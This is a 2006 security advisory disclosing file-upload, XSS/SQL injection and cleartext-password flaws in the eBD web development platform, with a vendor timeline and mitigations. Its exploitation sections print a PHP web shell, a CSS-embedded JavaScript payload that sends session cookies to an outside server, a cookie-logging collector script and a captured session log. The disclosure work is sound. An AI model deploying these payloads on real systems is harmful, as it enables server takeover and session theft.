-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patheBD-en.txt
294 lines (197 loc) · 9.63 KB
/
eBD-en.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
===============================
- Advisory -
===============================
Tittle: Several flaws in e-business designer
Risk: Critical
Date: 03.May.2006
Author: Pedro Andújar <pandujar *@* selfdefense.es>
URL: http://www.digitalsec.es
http://www.514.es/
.: [ INTRO ] :.
eBD is an Integrated Development Environment for the development and publication of web sites,
web applications and web services (Applications). In about 60% of the time typically required,
Designer expedites the creation of Applications based on an open architecture, accepted web
standards and without the need for in-depth knowledge about web technology.
With eBD, you can develop any type of web application, web site or web service - intranet,
extranet, eCommerce, eLearning portals, etc. You can deploy legacy applications on the web
without re-coding the original application.
eBusiness Designer has three distinct functional layers - Presentation, Data and Back Office.
This structure permits a non-technical staff member to update any Application in real time,
preview and publish it.
.: [ TECHNICAL DESCRIPTION ] :.
During the development of some evaluation tasks against applications managed by the e-businness
designer software, several bugs were discovered:
.: [ BUG #1 ]
Risk : High
Description : Ability to upload files to the system without authentication
Affected versions : <= v3.1.4
Access to a web edition tool without authentication, allow remote users to upload files without
restriction. This vulnerability can be achieved accessing the following URL:
http://ebdsite/common/html_editor/image_browser.upload.html
The file can be placed in different folders of the application, usually it can be easily found
exploring the web source code and searching the images folder. Another useful tool to
find the file is:
http://edbsite/common/html_editor/image_browser.html
Additionally we have the html edition tool, whose parameters are:
function abre_html_editor(form_name,name,ancho,alto,idvista,atributo,source,links)
{
var argumentos = "form_name=" + form_name + "&name=" + name + "&source=" + source +
"&ebd_links=" + links;
if (idvista != null && idvista > 0)
argumentos += "&usar_vista=" + idvista;
if (atributo != null && atributo.length > 0)
argumentos += "&usar_atributo=" + atributo;
var href = "/common/html_editor/html_editor.html?"
The result of this vulnerability consists in the ability of upload and/or modify files in
the system, giving the possiblity of attack both the server and web users.
These kind of attacks were succeded against a server running 2.3.3 version of eBD:
Server side exploiting:
+ Code execution in the system using php/asp...shells : If the system has php installed,
command execution is possible through a web browser, uploading a file with the following content:
----------------dsr.php-----------------
<?
$out = shell_exec($_GET["cmd"]." 2>&1");
echo "<pre>$out</pre>";
?>
----------------dsr.php-----------------
Then, queries like "http://edbsite/path/to/dsr.php&cmd=uname -a ; id" can be executed.
Client side exploiting:
+ Cross Site Scripting (XSS), in applications with authentication methods: Uploaded files with
"image_browser.upload.html" can overwrite application files, so it will be possible to include a
javascript code in a cascade style sheet (.css), which will send us the cookie of users who have
logged, through a get request to our server:
background: url('javascript:document.images[1].src="http://514.es/514.php?"+document.cookie;') repeat-x bottom;
We can place a script in our server to log cookies we receive, even this job is already
done by the access_log.
XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET /514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651
HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
Possible script:
-----------------514.php------------------
<?
$log = "/var/tmp/debug.log";
$img_type = "png";
function load_png($img_path) {
$img = imagecreatefrompng ($img_path);
if ($img) {
return $img;
}
}
function load_gif($img_path) {
$img = imagecreatefromgif ($img_path);
if ($img) {
return $img;
}
}
function load_jpg($img_path) {
$img = imagecreatefromjpeg ($img_path);
if ($img) {
return $img;
}
}
$init = "Connection from ".$_SERVER['REMOTE_ADDR'];
file_put_contents($log, "$init\n", FILE_APPEND);
foreach ($_SERVER as $key => $srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
if (isset ($_GET) && count($_GET) > 0) {
file_put_contents($log, "GET params\n", FILE_APPEND);
foreach ($_GET as $key => $srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
}
if (isset ($_POST) && count($_POST) > 0) {
file_put_contents($log, "POST params\n", FILE_APPEND);
foreach ($_POST as $key => $srv) {
file_put_contents($log, "$key=$srv\n", FILE_APPEND);
}
}
file_put_contents($log, "\n", FILE_APPEND);
if ($img_type == "png") {
Header("Content-type: image/png");
ImagePNG(load_png("imgs/514.png"));
}
if ($img_type == "jpg") {
Header("Content-type: image/jpeg");
ImageJPEG(load_jpg("imgs/514.jpg"));
}
if ($img_type == "gif") {
Header("Content-type: image/gif");
ImageGIF(load_gif("imgs/514.gif"));
}
?>
-----------------514.php------------------
Adicionally was checked that there is no max concurrent sessions number for each user.
This make easier this kind of attacks, because the cookies obtained by this way can be used
as the same time that the legitimate user.
.: [ BUG #2 ]
Risk : High
Description : Imput validation error
Affected Versions : v2.3.3 without auth
v3.1.4 require admin access
In some parameters that are parsed by eBD, inclusion of special characters is not checked, so
XSS or code injection attacks are possible.
http://ebdsite/admin/form_grupo.html?id=<script>alert("dSR");</script>
This query will give us an "alert" msg, and the server will response with a SQL message, including the path
of the application:
ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=' AND 1=1 AND ( idArea IS NULL OR idArea=3 )
-- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version
for the right syntax to use near '' AND 1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at
/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack: [/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179],
[/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772],
[/usr/eBD/ebd_modules/eBD/Contenido.pm:453], [/usr/eBD/htdocs/transhotel/archivos/dhandler:28],
[/usr/eBD/htdocs/ebdsite/archivos/autohandler:3]
Same error on version 2.3.3 of eBD with the following path requests :
* http://ebdsite/archivos/' or
* http://ebdsite/files/'
.: [ BUG #3 ]
Risk : Medium
Description : Clear password on auth
Affected Versions : <= v3.1.4
In the authentication step, through http (by default) instead of https, username and password
fields are in plain text during posting:
zona=inicial&username=DSR&password=514&entrar=Login
.: [ CHANGELOG ] :.
* 24/Apr/2006: - Several flaws discovered, during the evaluation of the software installed
by a e-business designer customer.
* 25/Apr/2006: - Explotation of these discovered flaws.
- Asked for security contact at eBD.
* 26/Apr/2006: - Rough draft of this document finished.
- Advisory sent to <[email protected]>.
- Commentaries of eBD. Affected versions of each flaw cleared.
* 27/Apr/2006: - Some changes in this text.
* 02/May/2006: - Oasyssoft releases emergency patch for file uploading bug.
(http://lists.oasyssoft.com/ebd-devel/200605/msg00000.html)
* 03/May/2006 - New comments and changes in the adv.
* 10/May/2006: - Public disclosure.
.: [ SOLUTIONS ] :.
- Update to the last available version (3.1.4)
- Emergency Patch instalation.
(http://lists.oasyssoft.com/ebd-devel/200605/binNr7awTFdvt.bin)
(Waiting for final release on early June)
- Others:
+ Disable the directory listing in the web server.
+ Force the navigation through https.
+ Disable php and/or asp support in the system if it is not required.
+ Apply firewall solutions or ModSecurity related.
+ Delete test accounts and check for strong passwords.
.: [ ACKNOWLEDGEMENTS ] :.
Thanks To A. Tarascó and J. Olascoaga for Xss help.
Thanks to Gandalfj for the translation.
Greetings to bRaCu and ppl of !dSR, 514, haxorcitos and dlnd-0.
.: [ REFERENCES ] :.
[+] [eBD] e-business designer
http://www.ebdsoft.com/
[+] Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
[+] NGS Advanced Sql Injection
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
[+] ModSecurity (Open source web application firewall)
http://www.modsecurity.org/
[+] Guide to Building Secure Web Applications
http://www.owasp.org/documentation/guide/guide_about.html
[+] !dSR - Digital Security Research
http://www.digitalsec.net/
[+] 514 - 77
http://www.514.es/
-=EOF=-